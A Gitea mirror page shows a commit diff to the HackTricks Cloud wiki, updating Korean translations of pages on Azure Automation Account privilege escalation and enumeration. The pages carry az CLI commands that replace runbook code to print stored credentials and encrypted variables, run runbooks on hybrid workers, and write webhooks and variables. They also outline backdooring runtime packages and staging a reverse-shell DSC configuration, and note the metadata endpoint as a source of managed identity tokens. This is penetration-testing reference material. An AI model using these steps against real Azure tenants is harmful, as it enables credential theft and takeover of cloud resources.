gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-29 07:00:29 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

Browse Source
This commit is contained in:
Translator
2025-01-10 13:19:29 +00:00
parent 8e384ce197
commit eb46f1f263
2 changed files with 78 additions and 31 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md
+46 -16
View File
@@ -10,11 +10,20 @@
../az-services/az-automation-accounts.md
{{#endref}}
### Hybrid Workers
어떤 식으로든 공격자가 하이브리드 워커에서 임의의 런북(임의 코드)을 실행할 수 있다면, 그는 **VM의 위치로 피벗할 것입니다**. 이는 온프레미스 머신, 다른 클라우드의 VPC 또는 Azure VM일 수 있습니다.
게다가, 하이브리드 워커가 Azure에서 다른 관리 ID가 연결된 상태로 실행되고 있다면, 런북은 **메타데이터 서비스에서 런북의 관리 ID와 VM의 모든 관리 ID에 접근할 수 있습니다**.
> [!TIP]
> **메타데이터 서비스**는 자동화 계정의 관리 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있다는 점을 기억하세요 (**`IDENTITY_ENDPOINT`**).
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
요약하자면, 이러한 권한은 **Automation Account**에서 **Runbooks를 생성, 수정 및 실행**할 수 있게 하며, 이를 통해 **Automation Account**의 컨텍스트에서 코드를 **실행**하고 할당된 **Managed Identities**에 대한 권한을 상승시키며 **Automation Account**에 저장된 **자격 증명** 및 **암호화된 변수**를 유출할 수 있습니다.
요약하자면, 이러한 권한은 **자동화 계정에서 런북을 생성, 수정 및 실행**할 수 있게 하며, 이를 통해 **자동화 계정의 컨텍스트에서 코드를 실행**하고 할당된 **관리 ID**에 대한 권한을 상승시키며 **자격 증명**과 **암호화된 변수**를 자동화 계정에 저장된 상태로 유출할 수 있습니다.
권한 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`**는 다음을 사용하여 **Automation Account**에서 Runbook의 코드를 수정할 수 있게 합니다:
권한 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`**는 다음을 사용하여 자동화 계정의 런북 코드를 수정할 수 있게 합니다:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -27,7 +36,7 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
이전 스크립트가 **자격 증명의 사용자 이름과 비밀번호** 및 Automation Account에 저장된 **암호화된 변수**의 값을 유출하는 데 어떻게 사용될 수 있는지 주목하십시오.
이전 스크립트가 **사용자 이름과 비밀번호**를 유출하고 Automation Account에 저장된 **암호화된 변수**의 값을 가져오는 데 어떻게 사용될 수 있는지 주목하십시오.
권한 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`**은 사용자가 Automation Account에서 Runbook을 게시할 수 있도록 하여 변경 사항이 적용되도록 합니다.
```bash
@@ -38,14 +47,18 @@ az automation runbook publish \
```
권한 **`Microsoft.Automation/automationAccounts/jobs/write`**는 사용자가 Automation Account에서 Runbook을 실행할 수 있도록 허용합니다:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
권한 **`Microsoft.Automation/automationAccounts/jobs/output/read`**는 사용자가 Automation Account에서 작업의 출력을 읽을 수 있도록 허용합니다:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Runbook이 생성되지 않았거나 새로 만들고 싶다면, 다음을 사용하여 수행하기 위해 **권한 `Microsoft.Resources/subscriptions/resourcegroups/read` 및 `Microsoft.Automation/automationAccounts/runbooks/write`**가 필요합니다:
Runbooks가 생성되지 않았거나 새로 만들고 싶다면, 다음을 사용하여 수행하기 위해 **권한 `Microsoft.Resources/subscriptions/resourcegroups/read` 및 `Microsoft.Automation/automationAccounts/runbooks/write`**가 필요합니다:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
@@ -91,7 +104,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
그런 다음, 권한 **`Microsoft.Automation/automationAccounts/jobSchedules/write`**를 사용하여 runbook에 Scheduler를 할당할 수 있습니다:
그런 다음, 권한 **`Microsoft.Automation/automationAccounts/jobSchedules/write`**를 사용하여 다음을 통해 런북에 스케줄러를 할당할 수 있습니다:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -110,13 +123,13 @@ az rest --method PUT \
}'
```
> [!TIP]
> 이전 예제에서 jobchedule id는 **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` 예시로** 남겨졌지만, 이 할당을 생성하려면 임의의 값을 사용해야 합니다.
> 이전 예제에서 jobchedule id는 **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` 예시**로 남겨졌지만, 이 할당을 생성하려면 임의의 값을 사용해야 합니다.
### `Microsoft.Automation/automationAccounts/webhooks/write`
권한 **`Microsoft.Automation/automationAccounts/webhooks/write`**를 사용하면 다음 명령을 통해 Automation Account 내의 Runbook에 대한 새로운 Webhook을 생성할 수 있습니다.
웹훅 URI를 **지정해야** 하며, 사용할 토큰이 필요합니다.
웹훅 URI를 사용할 토큰과 함께 **지정해야** 한다는 점에 유의하세요.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
@@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
@@ -180,32 +194,48 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
이것은 자동으로 Github 리포지토리에서 Automation Account로 런북을 가져오고, 이를 실행하기 위한 다른 권한이 있다면 **권한 상승**이 **가능할 수 있습니다**.
이것은 자동으로 Github 리포지토리에서 Automation Account로 runbook을 가져오고, 이를 실행하기 위한 다른 권한이 있으면 **권한 상승**이 **가능할 수 있습니다**.
또한, Automation Accounts에서 소스 제어가 작동하려면 관리형 ID가 **`Contributor`** 역할을 가져야 하며, 사용자 관리형 ID인 경우 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** 변수에 사용할 사용자 관리형 ID의 **클라이언트 ID**를 설정하여 구성할 수 있습니다.
또한, Automation Accounts에서 소스 제어가 작동하려면 관리되는 ID가 **`Contributor`** 역할을 가져야 하며, 사용자 관리 ID인 경우 MI의 클라이언트 ID는 변수 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**에 지정되어야 합니다.
> [!TIP]
> 생성된 후에는 소스 제어의 repo URL을 변경할 수 없다는 점에 유의하세요.
### `Microsoft.Automation/automationAccounts/variables/write`
권한 **`Microsoft.Automation/automationAccounts/variables/write`**가 있으면 다음 명령을 사용하여 Automation Account에 변수를 쓸 수 있습니다.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
```
### 사용자 정의 런타임 환경
자동화 계정이 사용자 정의 런타임 환경을 사용하는 경우, 악성 코드(예: **백도어**)로 런타임의 사용자 정의 패키지를 덮어쓸 수 있습니다. 이렇게 하면 해당 사용자 정의 런타임을 사용하는 런북이 실행되고 사용자 정의 패키지를 로드할 때 악성 코드가 실행됩니다.
자동화 계정이 사용자 정의 런타임 환경을 사용하고 있다면, 런타임의 사용자 정의 패키지를 악성 코드(예: **백도어**)로 덮어쓸 수 있을 가능성이 있습니다. 이렇게 하면 해당 사용자 정의 런타임을 사용하는 런북이 실행되고 사용자 정의 패키지를 로드할 때마다 악성 코드가 실행됩니다.
### 상태 구성 손상
**전체 게시물을 확인하세요:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- 1단계 — 파일 생성
- 단계 1 — 파일 생성
**필요한 파일:** 두 개의 PowerShell 스크립트가 필요합니다:
1. `reverse_shell_config.ps1`: 페이로드를 가져오고 실행하는 Desired State Configuration (DSC) 파일입니다. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)에서 얻을 수 있습니다.
2. `push_reverse_shell_config.ps1`: VM에 구성을 게시하는 스크립트로, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)에서 사용할 수 있습니다.
1. `reverse_shell_config.ps1`: 페이로드를 가져와 실행하는 Desired State Configuration (DSC) 파일입니다. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)에서 얻을 수 있습니다.
2. `push_reverse_shell_config.ps1`: 구성을 VM에 게시하는 스크립트로, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)에서 사용할 수 있습니다.
**사용자 정의:** 이 파일의 변수와 매개변수는 리소스 이름, 파일 경로 및 서버/페이로드 식별자를 포함하여 사용자의 특정 환경에 맞게 조정해야 합니다.
- 2단계 — 구성 파일 압축
- 단계 2 — 구성 파일 압축
`reverse_shell_config.ps1`는 Azure Storage Account로 전송할 준비가 된 `.zip` 파일로 압축됩니다.
`reverse_shell_config.ps1`는 `.zip` 파일로 압축되어 Azure Storage Account로 전송할 준비가 됩니다.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md
+32 -15
View File
@@ -28,7 +28,7 @@ Azure Automation의 Runbook은 클라우드 환경 내에서 **작업을 자동
- **Output**: Runbook 실행의 결과.
- **Start and End Time**: 작업이 시작되고 완료된 시간.
Job은 **Runbook** 실행의 **출력**을 포함합니다. **jobs**를 **읽을 수** 있다면, **run**의 **출력**(잠재적 **민감한 정보**)을 포함하고 있으므로 읽어보세요.
Job은 **Runbook** 실행의 **출력**을 포함합니다. **jobs**를 **읽을 수** 있다면, **run**의 **출력**을 포함하고 있으므로 읽어보세요(잠재적인 **민감한 정보**).
### Schedules & Webhooks
@@ -40,13 +40,13 @@ Runbook을 실행하는 주요 방법은 3가지입니다:
### Source Control
Runbooks를 **Github, Azure Devops (Git) 및 Azure Devops (TFVC)**에서 가져올 수 있습니다. 레포의 Runbooks를 Azure Automation 계정에 게시하도록 설정할 수 있으며, 레포의 변경 사항을 Azure Automation 계정에 **동기화**하도록 설정할 수도 있습니다.
**Github, Azure Devops (Git) 및 Azure Devops (TFVC)**에서 Runbooks를 가져올 수 있습니다. 리포지토리의 Runbooks를 Azure Automation 계정에 게시하도록 지정할 수 있으며, 리포지토리의 변경 사항을 Azure Automation 계정에 **동기화**하도록 지정할 수도 있습니다.
동기화가 활성화되면, **Github 리포지토리에서 webhook이 생성**되어 푸시 이벤트가 발생할 때마다 동기화를 트리거합니다. webhook URL의 예: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
동기화가 활성화되면 **Github 리포지토리에 webhook이 생성**되어 푸시 이벤트가 발생할 때마다 동기화를 트리거합니다. webhook URL의 예: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
이 웹훅은 **Github 리포와 연결된 runbooks에서 웹훅을 나열할 때 보이지 않습니다**. 또한, 생성된 후에는 소스 제어의 레포 URL을 **변경할 수 없습니다**.
이 웹훅은 **Github 리포지토리에 연결된 runbooks에서 웹훅을 나열할 때 보이지 않습니다**. 또한, 생성된 후에는 소스 제어의 리포지토리 URL을 **변경할 수 없습니다**.
구성된 소스 제어가 작동하려면, **Azure Automation Account**에 **`Contributor`** 역할을 가진 관리형 ID(시스템 또는 사용자)가 필요합니다. 또한, Automation Account에 사용자 관리형 ID를 할당하려면 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** 변수를 **사용자 관리형 ID 클라이언트 ID**로 설정하면 됩니다.
구성된 소스 제어가 작동하려면 **Azure Automation Account**에 **`Contributor`** 역할을 가진 관리 ID(시스템 또는 사용자)가 필요합니다. 또한, Automation Account에 사용자 관리 ID를 할당하려면 변수 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**에 사용자 MI의 클라이언트 ID를 지정해야 합니다.
### Runtime Environments
@@ -61,23 +61,31 @@ Runbook을 생성할 때 런타임 환경을 선택할 수 있습니다. 기본
그러나 이러한 환경 중 하나를 기반으로 **자신의 환경을 생성**할 수도 있습니다. Python의 경우, 사용할 환경에 `.whl` 패키지를 업로드할 수 있습니다. PowerShell의 경우, 런타임에 포함할 모듈이 있는 `.zip` 패키지를 업로드할 수 있습니다.
### Hybrid Worker
### Hybrid Worker Groups
Runbook은 **Azure 내의 컨테이너** 또는 **하이브리드 작업자**(비-Azure 머신)에서 실행될 수 있습니다.\
**Log Analytics Agent**는 VM에 배포되어 하이브리드 작업자로 등록됩니다.\
하이브리드 작업자 작업은 Windows에서 **SYSTEM**으로, Linux에서 **nxautomation** 계정으로 실행됩니다.\
각 하이브리드 작업자는 **하이브리드 작업자 그룹**에 등록됩니다.
Azure Automation에서 Runbooks의 기본 실행 환경은 **Azure Sandbox**로, Azure 리소스와 관련된 작업에 적합한 Azure에서 관리하는 클라우드 기반 플랫폼입니다. 그러나 이 샌드박스는 온프레미스 리소스에 대한 제한된 접근 및 실행 시간과 리소스 사용에 대한 제약과 같은 한계가 있습니다. 이러한 한계를 극복하기 위해 하이브리드 작업자 그룹이 사용됩니다. 하이브리드 작업자 그룹은 **자신의 머신에 설치된 하나 이상의 하이브리드 Runbook Worker**로 구성되며, 온프레미스, 다른 클라우드 환경 또는 Azure VM에서 실행될 수 있습니다. 이 설정은 Runbooks가 이러한 머신에서 직접 실행되도록 하여 로컬 리소스에 직접 접근하고, 더 긴 시간과 더 많은 리소스를 소모하는 작업을 실행할 수 있는 유연성을 제공합니다.
따라서 **Windows Hybrid Worker**에서 **Runbook**을 실행하도록 선택할 수 있다면, **System**으로 외부 머신에서 **임의의 명령**을 실행할 수 있습니다(좋은 피벗 기술).
하이브리드 작업자 그룹을 생성할 때 사용할 **자격 증명**을 지정해야 합니다. 두 가지 옵션이 있습니다:
- **기본 자격 증명**: 자격 증명을 제공할 필요가 없으며, Runbooks는 **System**으로 VM 내에서 실행됩니다.
- **특정 자격 증명**: 자동화 계정 내의 자격 증명 객체의 이름을 제공해야 하며, 이는 **VM 내에서 Runbooks를 실행하는 데 사용됩니다**. 따라서 이 경우, **유효한 자격 증명**을 **훔칠 수** 있습니다.
따라서 **Windows Hybrid Worker**에서 **Runbook**을 실행하도록 선택할 수 있다면, **System**으로 외부 머신 내에서 **임의의 명령**을 실행하게 됩니다(좋은 피벗 기술).
또한, 하이브리드 작업자가 Azure에서 다른 관리 ID와 함께 실행되고 있다면, Runbook은 **메타데이터 서비스**에서 Runbook의 관리 ID 및 VM의 모든 관리 ID에 접근할 수 있습니다.
> [!TIP]
> **메타데이터 서비스**는 관리 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있습니다 (**`IDENTITY_ENDPOINT`**).
### State Configuration (SC)
>[!WARNING]
> [the docs](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)에서 언급된 바와 같이, Azure Automation State Configuration은 2027년 9월 30일에 종료되며 [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)으로 대체됩니다.
> [문서](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)에 명시된 바와 같이, Azure Automation State Configuration은 2027년 9월 30일에 종료되며 [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)으로 대체됩니다.
Automation Accounts는 **State Configuration (SC)**도 지원하며, 이는 VM의 **상태를 구성**하고 **유지**하는 데 도움을 주는 기능입니다. **Windows** 및 **Linux** 머신에 DSC 구성을 **생성**하고 **적용**할 수 있습니다.
Automation Accounts는 **State Configuration (SC)**도 지원하며, 이는 **VM의 상태를 구성하고 유지**하는 데 도움을 주는 기능입니다. **Windows** 및 **Linux** 머신에 DSC 구성을 **생성**하고 **적용**할 수 있습니다.
공격자의 관점에서 이는 **구성된 모든 VM에서 임의의 PS 코드를 실행**할 수 있게 해주어, 이러한 VM의 관리 ID로 권한 상승을 가능하게 하며, 잠재적으로 새로운 네트워크로 피벗할 수 있습니다... 또한, 구성에는 **민감한 정보**가 포함될 수 있습니다.
공격자의 관점에서 이는 **구성된 모든 VM에서 임의의 PS 코드를 실행**할 수 있게 해주어, 이러한 VM의 관리형 ID로 권한 상승을 가능하게 하여 새로운 네트워크로 피벗할 수 있게 했습니다... 또한, 구성에는 **민감한 정보**가 포함될 수 있습니다.
## Enumeration
```bash
@@ -180,6 +188,15 @@ az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOU
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get hybrid worker groups for an automation account
az automation hrwg list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get hybrid worker group details
az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <HYBRID-WORKER-GROUP>
# Get more details about a hybrid worker group (like VMs inside it)
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell
@@ -218,7 +235,7 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## 참고자료
## 참고 문헌
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)